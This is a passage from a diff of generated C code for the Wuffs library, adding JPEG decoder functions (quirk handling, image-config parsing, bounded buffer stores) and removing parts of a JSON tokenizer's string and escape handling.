((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final0); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final1); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final2); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final3); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final4); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final5); ++ a_dst_buffer = v_remaining; ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ v_remaining = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final6); ++ a_dst_buffer = v_remaining; ++ if (8u > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); ++ } ++ wuffs_base__poke_u64le__no_bounds_check(a_dst_buffer.ptr, v_final7); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++// ‼ WUFFS MULTI-FILE SECTION -x86_avx2 ++ ++// -------- func jpeg.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_jpeg__decoder__get_quirk( ++ const wuffs_jpeg__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if (a_key == 2u) { ++ if (self->private_impl.f_use_lower_quality) { ++ return 18446744073709551615u; ++ } ++ } else if (a_key == 1220532224u) { ++ if (self->private_impl.f_reject_progressive_jpegs) { ++ return 1u; ++ } ++ } ++ return 0u; ++} ++ ++// -------- func jpeg.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__set_quirk( ++ wuffs_jpeg__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key == 2u) { ++ self->private_impl.f_use_lower_quality = (a_value >= 9223372036854775808u); ++ return wuffs_base__make_status(NULL); ++ } else if (a_key == 1220532224u) { ++ self->private_impl.f_reject_progressive_jpegs = (a_value != 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func jpeg.decoder.decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_jpeg__decoder__decode_image_config( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_jpeg__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func jpeg.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_jpeg__decoder__do_decode_image_config( ++ wuffs_jpeg__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint8_t v_marker = 0; ++ uint32_t v_pixfmt = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ if (coro_susp_point) { ++ v_marker = self->private_data.s_do_decode_image_config.v_marker; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_0 = *iop_a_src++; ++ v_c8 = t_0; ++ } ++ if (v_c8 != 255u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ if (v_c8 != 216u) { ++ status = wuffs_base__make_status(wuffs_jpeg__error__bad_header); ++ goto exit; + } +- v_expect = 7858u; +- label__outer__continue:; + while (true) { + while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- goto label__outer__continue; +- } +- v_whitespace_length = 0u; +- v_c = 0u; +- v_class = 0u; +- while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (v_whitespace_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_whitespace_length = 0u; +- } +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); +- goto label__outer__continue; +- } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- v_class = WUFFS_JSON__LUT_CLASSES[v_c]; +- if (v_class != 0u) { +- break; +- } +- iop_a_src += 1u; +- if (v_whitespace_length >= 65534u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(65535u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_whitespace_length = 0u; +- goto label__outer__continue; ++ goto suspend; + } +- v_whitespace_length += 1u; ++ uint8_t t_2 = *iop_a_src++; ++ v_c8 = t_2; + } +- if (v_whitespace_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_whitespace_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__outer__continue; ++ if (v_c8 == 255u) { ++ break; ++ } ++ } ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; + } ++ uint8_t t_3 = *iop_a_src++; ++ v_c8 = t_3; + } +- if (0u == (v_expect & (((uint32_t)(1u)) << v_class))) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; ++ if (v_c8 != 255u) { ++ v_marker = v_c8; ++ break; + } +- if (v_class == 1u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- iop_a_src += 1u; +- label__string_loop_outer__continue:; +- while (true) { +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); +- continue; +- } +- v_string_length = 0u; ++ } ++ if (v_marker == 0u) { ++ continue; ++ } else if ((208u <= v_marker) && (v_marker <= 217u)) { ++ if (v_marker <= 215u) { ++ continue; ++ } ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + while (true) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- } +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_input); +- goto exit; +- } ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); +- goto label__string_loop_outer__continue; ++ goto suspend; + } +- while (((uint64_t)(io2_a_src - iop_a_src)) > 4u) { +- v_c4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- if (0u != (WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 0u))] | +- WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 8u))] | +- WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 16u))] | +- WUFFS_JSON__LUT_CHARS[(255u & (v_c4 >> 24u))])) { +- break; +- } +- iop_a_src += 4u; +- if (v_string_length > 65527u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)((v_string_length + 4u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 4u; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); ++ if (num_bits_4 == 8) { ++ t_4 = ((uint32_t)(*scratch >> 48)); ++ break; + } +- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); +- v_char = WUFFS_JSON__LUT_CHARS[v_c]; +- if (v_char == 0u) { +- iop_a_src += 1u; +- if (v_string_length >= 65531u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(65532u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- goto label__string_loop_outer__continue; +- } +- v_string_length += 1u; +- continue; +- } else if (v_char == 1u) { +- if (v_string_length != 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- } +- goto label__string_loop_outer__break; +- } else if (v_char == 2u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- goto label__string_loop_outer__continue; +- } +- v_c = ((uint8_t)((wuffs_base__peek_u16le__no_bounds_check(iop_a_src) >> 8u))); +- v_backslash = WUFFS_JSON__LUT_BACKSLASHES[v_c]; +- if ((v_backslash & 128u) != 0u) { +- iop_a_src += 2u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | ((uint32_t)((v_backslash & 127u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } else if (v_backslash != 0u) { +- if (self->private_impl.f_quirks[WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_QUIRKS[(v_backslash & 7u)]]) { +- iop_a_src += 2u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | ((uint32_t)(WUFFS_JSON__LUT_QUIRKY_BACKSLASHES_CHARS[(v_backslash & 7u)]))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(2u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- } else if (v_c == 117u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); +- goto label__string_loop_outer__continue; +- } +- v_uni4_string = (((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))) >> 16u); +- v_uni4_value = 0u; +- v_uni4_ok = 128u; +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 12u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 8u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 4u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 0u); +- if (v_uni4_ok == 0u) { +- } else if ((v_uni4_value < 55296u) || (57343u < v_uni4_value)) { +- iop_a_src += 6u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } else if (v_uni4_value >= 56320u) { +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 12u) { +- if (a_src && a_src->meta.closed) { +- if (self->private_impl.f_quirks[20u]) { +- iop_a_src += 6u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- goto label__string_loop_outer__continue; +- } +- v_uni4_string = (wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 4u) >> 16u); +- if (((255u & (v_uni4_string >> 0u)) != 92u) || ((255u & (v_uni4_string >> 8u)) != 117u)) { +- v_uni4_high_surrogate = 0u; +- v_uni4_value = 0u; +- v_uni4_ok = 0u; +- } else { +- v_uni4_high_surrogate = (65536u + ((v_uni4_value - 55296u) << 10u)); +- v_uni4_value = 0u; +- v_uni4_ok = 128u; +- v_uni4_string >>= 16u; +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 0u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 12u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 8u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 8u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 16u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 4u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni4_string >> 24u))]; +- v_uni4_ok &= v_c; +- v_uni4_value |= (((uint32_t)((v_c & 15u))) << 0u); +- } +- if ((v_uni4_ok != 0u) && (56320u <= v_uni4_value) && (v_uni4_value <= 57343u)) { +- v_uni4_value -= 56320u; +- iop_a_src += 12u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | v_uni4_high_surrogate | v_uni4_value))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(12u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- } +- if (self->private_impl.f_quirks[20u]) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 6u) { +- status = wuffs_base__make_status(wuffs_json__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- iop_a_src += 6u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(6u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- } else if ((v_c == 85u) && self->private_impl.f_quirks[2u]) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 10u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); +- goto label__string_loop_outer__continue; +- } +- v_uni8_string = wuffs_base__peek_u64le__no_bounds_check(iop_a_src + 2u); +- v_uni8_value = 0u; +- v_uni8_ok = 128u; +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 0u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 28u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 8u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 24u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 16u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 20u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 24u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 16u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 32u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 12u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 40u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 8u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 48u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 4u); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_uni8_string >> 56u))]; +- v_uni8_ok &= v_c; +- v_uni8_value |= (((uint32_t)((v_c & 15u))) << 0u); +- if (v_uni8_ok == 0u) { +- } else if ((v_uni8_value < 55296u) || ((57343u < v_uni8_value) && (v_uni8_value <= 1114111u))) { +- iop_a_src += 10u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | (v_uni8_value & 2097151u)))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } else if (self->private_impl.f_quirks[20u]) { +- iop_a_src += 10u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(10u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- } else if ((v_c == 120u) && self->private_impl.f_quirks[9u]) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- if (a_src && a_src->meta.closed) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); +- goto label__string_loop_outer__continue; +- } +- v_backslash_x_string = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- v_backslash_x_ok = 128u; +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 16u))]; +- v_backslash_x_ok &= v_c; +- v_backslash_x_value = ((uint8_t)(((v_c & 15u) << 4u))); +- v_c = WUFFS_JSON__LUT_HEXADECIMAL_DIGITS[(255u & (v_backslash_x_string >> 24u))]; +- v_backslash_x_ok &= v_c; +- v_backslash_x_value = ((uint8_t)((v_backslash_x_value | (v_c & 15u)))); +- if ((v_backslash_x_ok == 0u) || ((v_backslash_x_string & 65535u) != 30812u)) { +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } +- iop_a_src += 4u; +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)((6291456u | ((uint32_t)(v_backslash_x_value))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(4u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__string_loop_outer__continue; +- } +- status = wuffs_base__make_status(wuffs_json__error__bad_backslash_escape); +- goto exit; +- } else if (v_char == 3u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- if (v_string_length > 0u) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | +- (((uint64_t)(v_string_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- v_string_length = 0u; +- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- goto label__string_loop_outer__continue; +- } +- } +- if (a_src && a_src->meta.closed) { +- if (self->private_impl.f_quirks[20u]) { +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(6356989u)) << 